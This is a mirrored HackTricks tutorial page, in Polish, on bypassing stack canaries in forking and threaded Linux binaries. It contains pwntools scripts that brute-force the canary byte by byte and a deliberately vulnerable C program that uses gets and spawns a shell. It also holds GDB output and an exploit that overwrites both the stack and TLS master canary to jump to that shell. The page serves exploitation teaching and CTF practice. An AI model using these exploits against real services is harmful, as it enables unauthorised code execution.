Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-27 07:01:09 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md

9.7 KiB
Raw Blame History

BF Forked & Threaded Stack Canaries

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Jeśli masz do czynienia z binarnym plikiem chronionym przez canary i PIE (Position Independent Executable), prawdopodobnie musisz znaleźć sposób na ich obejście.

{% hint style="info" %} Zauważ, że checksec może nie wykryć, że binarny plik jest chroniony przez canary, jeśli został skompilowany statycznie i nie jest w stanie zidentyfikować funkcji.
Jednak możesz to zauważyć ręcznie, jeśli stwierdzisz, że wartość jest zapisywana na stosie na początku wywołania funkcji, a ta wartość jest sprawdzana przed zakończeniem. {% endhint %}

Brute force Canary

Najlepszym sposobem na obejście prostego canary jest, jeśli binarny plik to program forkujący procesy potomne za każdym razem, gdy nawiązujesz z nim nowe połączenie (usługa sieciowa), ponieważ za każdym razem, gdy się z nim łączysz, używane jest to samo canary.

Wtedy najlepszym sposobem na obejście canary jest po prostu brute-force'owanie go znak po znaku, a możesz ustalić, czy zgadnięty bajt canary był poprawny, sprawdzając, czy program się zawiesił, czy kontynuuje swój regularny przepływ. W tym przykładzie funkcja brute-force'uje 8-bajtowe canary (x64) i rozróżnia między poprawnie zgadniętym bajtem a złym bajtem, po prostu sprawdzając, czy odpowiedź jest wysyłana z serwera (innym sposobem w innej sytuacji mogłoby być użycie try/except):

Przykład 1

Ten przykład jest zaimplementowany dla 64 bitów, ale mógłby być łatwo zaimplementowany dla 32 bitów.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Example 2

To jest zaimplementowane dla 32 bitów, ale można to łatwo zmienić na 64 bity.
Zauważ również, że w tym przykładzie program oczekiwał najpierw bajtu wskazującego rozmiar wejścia oraz ładunku.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Wątki

Wątki tego samego procesu również dzielą ten sam token canary, dlatego możliwe będzie brute-force'owanie canary, jeśli binarny program tworzy nowy wątek za każdym razem, gdy występuje atak.

Przepełnienie bufora w funkcji wielowątkowej chronionej canary może być użyte do modyfikacji głównego canary procesu. W rezultacie, zabezpieczenie jest bezużyteczne, ponieważ sprawdzenie jest używane z dwoma canary, które są takie same (choć zmodyfikowane).

Przykład

Następujący program jest podatny na przepełnienie bufora, ale jest skompilowany z canary:

#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

// gcc thread_canary.c -no-pie -l pthread -o thread_canary

void win() {
execve("/bin/sh", NULL, NULL);
}

void* vuln() {
char data[0x20];
gets(data);
}

int main() {
pthread_t thread;

pthread_create(&thread, NULL, vuln, NULL);
pthread_join(thread, NULL);

return 0;
}

Zauważ, że vuln jest wywoływana wewnątrz wątku. W GDB możemy przyjrzeć się vuln, a konkretnie punktowi, w którym program wywołuje gets, aby odczytać dane wejściowe:

gef> break gets
Breakpoint 1 at 0x4010a0
gef> run
...
gef> x/10gx $rdi
0x7ffff7d7ee20: 0x0000000000000000      0x0000000000000000
0x7ffff7d7ee30: 0x0000000000000000      0x0000000000000000
0x7ffff7d7ee40: 0x0000000000000000      0x493fdc653a156800
0x7ffff7d7ee50: 0x0000000000000000      0x00007ffff7e17ac3
0x7ffff7d7ee60: 0x0000000000000000      0x00007ffff7d7f640

Powyższe przedstawia adres data, gdzie program zapisze dane wejściowe użytkownika. Stack canary znajduje się pod adresem 0x7ffff7d7ee48 (0x493fdc653a156800), a adres powrotu jest pod adresem 0x7ffff7d7ee50 (0x00007ffff7e17ac3):

gef> telescope $rdi 8 -n
0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000  <-  $rdi
0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000
0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000
0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000
0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000
0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800  <-  canary
0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000  <-  $rbp
0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 <start_thread+0x2f3>  ->  0xe8ff31fffffe6fe9  <-  retaddr[2]

Zauważ, że adresy stosu nie należą do rzeczywistego stosu:

gef> vmmap stack
[ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start              End                Size               Offset             Perm Path
0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <tls-th1><stack-th2>  <-  $rbx, $rsp, $rbp, $rsi, $rdi, $r12
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack]  <-  $r9, $r15

Stos wątku jest umieszczany powyżej Pamięci Lokalnej Wątku (TLS), gdzie przechowywana jest główna kanarka:

gef> tls
$tls = 0x7ffff7d7f640
...
---------------------------------------------------------------------------- TLS ----------------------------------------------------------------------------
0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640  ->  [loop detected]  <-  $rbx, $r12
0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0  ->  0x0000000000000001
0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640  ->  [loop detected]
0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001
0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000
0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800  <-  canary
0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4  <-  PTR_MANGLE cookie
0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000
...

{% hint style="info" %} Niektóre z powyższych funkcji GDB są zdefiniowane w rozszerzeniu o nazwie bata24/gef, które ma więcej funkcji niż zwykłe hugsy/gef. {% endhint %}

W rezultacie duży Buffer Overflow może pozwolić na modyfikację zarówno stack canary, jak i master canary w TLS. Oto offset:

gef> p/x 0x7ffff7d7f668 - $rdi
$1 = 0x848

To jest krótki exploit do wywołania win:

from pwn import *

context.binary = 'thread_canary'

payload  = b'A' * 0x28                    # buffer overflow offset
payload += b'BBBBBBBB'                    # overwritting stack canary
payload += b'A' * 8                       # saved $rbp
payload += p64(context.binary.sym.win)    # return address
payload += b'A' * (0x848 - len(payload))  # padding
payload += b'BBBBBBBB'                    # overwritting master canary

io = context.binary.process()
io.sendline(payload)
io.interactive()

Inne przykłady i odniesienia